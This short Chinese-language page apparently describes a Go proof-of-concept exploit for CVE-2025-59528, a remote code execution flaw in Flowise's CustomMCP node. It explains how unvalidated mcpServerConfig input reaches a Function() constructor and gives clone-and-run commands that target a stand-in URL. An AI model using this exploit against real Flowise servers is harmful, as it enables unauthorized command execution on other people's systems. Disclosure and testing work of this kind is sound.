
Flowise CustomMCP 远程代码执行(RCE)CVE-2025-59528 的 Go 概念验证(PoC)利用
一个针对 CVE-2025-59528 的 Go 语言概念验证,影响 Flowise 版本 <= 3.0.5。
Flowise 允许通过 CustomMCP 节点配置执行未经校验的 JavaScript。应用将用户提供的输入直接通过 mcpServerConfig 参数传递到后端的 convertToValidJSONString 函数中的 Function() 构造函数。这会在完全 Node.js 权限下执行代码,从而通过 child_process 实现任意系统命令执行。
git clone https://github.com/Moon-Harvest/CVE-2025-59528
cd CVE-2025-59528/
go run main.go <目标基础URL> <API密钥> <命令>
go run main.go http://target.com h3D_9jD7Xzi0V2KSrld9ff4P3rm6cuNXg1uA-wFsUYc "touch /tmp/pwned"